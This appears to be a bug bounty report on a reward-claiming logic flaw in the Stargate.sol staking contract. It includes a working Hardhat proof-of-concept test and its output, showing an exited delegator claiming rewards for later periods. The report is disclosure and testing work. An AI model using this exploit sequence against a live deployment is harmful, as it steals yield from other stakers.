The _claimableDelegationPeriods function in Stargate.sol fails to correctly handle cases where a delegation has exited (endPeriod is set) but the user attempts to claim rewards for periods subsequent to the exit. Specifically, if nextClaimablePeriod is greater than endPeriod, the logic falls through to a generic check that allows claiming up to the current validator period. This allows malicious actors to continue claiming rewards indefinitely after their delegation has ended, effectively stealing yield from other participants.
The condition endPeriod > nextClaimablePeriod is intended to return the valid range for an exited delegation. However, if a user has already claimed all rewards up to endPeriod, nextClaimablePeriod becomes endPeriod + 1. In this state, the condition endPeriod > nextClaimablePeriod evaluates to false, causing the block to be skipped.
Instead of returning (0, 0) (indicating no more rewards are available), the execution falls through to the next if statement, which is intended for active delegations:
This block simply checks if the nextClaimablePeriod is in the past relative to the validator's current status. Since the validator continues to produce blocks, currentValidatorPeriod keeps increasing. The function incorrectly returns a valid range (endPeriod + 1, completedPeriods), allowing the user to claim rewards for periods after they have already exited.
Impact Details
An attacker can stake, delegate, request exit, and then repeatedly claim rewards for all future periods without having any VET locked in the protocol.
Include this test in packages/contracts/test/unit/Stargate/Delegation.test.ts and execute this with command:
VITE_APP_ENV=local yarn workspace @repo/contracts hardhat test --network hardhat test/unit/Stargate/Delegation.test.ts --grep "allows claiming rewards even after delegation exit \(BUG demonstration\)"
it("allows claiming rewards even after delegation exit (BUG demonstration)", async () => {
const levelSpec = await stargateNFTMock.getLevel(LEVEL_ID);
// Add another delegator to ensure total stake > 0
// This is necessary because if total stake is 0, rewards calculation returns 0
// masking the vulnerability.
const otherUser = otherAccounts[1];
tx = await stargateContract.connect(otherUser).stake(LEVEL_ID, {
value: levelSpec.vetAmountRequiredToStake,
});
await tx.wait();
const otherTokenId = await stargateNFTMock.getCurrentTokenId();
tx = await stargateContract.connect(otherUser).delegate(otherTokenId, validator.address);
await tx.wait();
log("\nπ Added another delegator to ensure total stake > 0");
tx = await stargateContract.connect(user).stake(LEVEL_ID, {
value: levelSpec.vetAmountRequiredToStake,
});
await tx.wait();
const tokenId = await stargateNFTMock.getCurrentTokenId();
log("\nπ Staked token with id:", tokenId);
tx = await stargateContract.connect(user).delegate(tokenId, validator.address);
await tx.wait();
log("\nπ Delegated token to validator", validator.address);
// Move validator to the first completed period so the delegation becomes active
tx = await protocolStakerMock.helper__setValidationCompletedPeriods(validator.address, 1);
await tx.wait();
log("\nπ Set validator completed periods to 1 so the delegation is active");
// Request exit while active so the protocol sets an end period for the delegation
tx = await stargateContract.connect(user).requestDelegationExit(tokenId);
await tx.wait();
log("\nπ Requested delegation exit");
// Fetch the delegation end period configured by the exit request and advance past it to finalize the exit
const delegationAfterExitSignal = await stargateContract.getDelegationDetails(tokenId);
const endPeriod = delegationAfterExitSignal.endPeriod;
tx = await protocolStakerMock.helper__setValidationCompletedPeriods(validator.address, endPeriod);
await tx.wait();
log("\nπ Set validator completed periods to endPeriod so the delegation is exited");
expect(await stargateContract.getDelegationStatus(tokenId)).to.equal(
DELEGATION_STATUS_EXITED
);
// First claim drains the legitimate rewards accrued before exit
tx = await stargateContract.connect(user).claimRewards(tokenId);
await tx.wait();
log("\nπ Claimed legitimate rewards");
const balanceBeforeExploit = await vthoTokenContract.balanceOf(user.address);
// Advance one more period even though the delegation is already exited
const exploitCompletedPeriods = endPeriod + 1n;
tx = await protocolStakerMock.helper__setValidationCompletedPeriods(
validator.address,
exploitCompletedPeriods
);
await tx.wait();
log("\nπ Advanced one more period (exploit period)");
const delegationId = await stargateContract.getDelegationIdOfToken(tokenId);
// BUG: claiming again still succeeds and pays out rewards, even though no stake remains delegated
await expect(stargateContract.connect(user).claimRewards(tokenId))
.to.emit(stargateContract, "DelegationRewardsClaimed")
.withArgs(
user.address,
tokenId,
delegationId,
ethers.parseEther("0.1"),
endPeriod + 1n,
exploitCompletedPeriods
);
log("\nπ BUG: Claimed rewards again after exit!");
const balanceAfterExploit = await vthoTokenContract.balanceOf(user.address);
expect(balanceAfterExploit - balanceBeforeExploit).to.equal(ethers.parseEther("0.1"));
});
shard-u2: Stargate: Delegation
π Added another delegator to ensure total stake > 0
π Staked token with id: 10002n
π Delegated token to validator 0x90F79bf6EB2c4f870365E785982E1f101E93b906
π Set validator completed periods to 1 so the delegation is active
π Requested delegation exit
π Set validator completed periods to endPeriod so the delegation is exited
π Claimed legitimate rewards
π Advanced one more period (exploit period)
π BUG: Claimed rewards again after exit!
β allows claiming rewards even after delegation exit (BUG demonstration) (80ms)
1 passing (1s)
Done in 6.23s.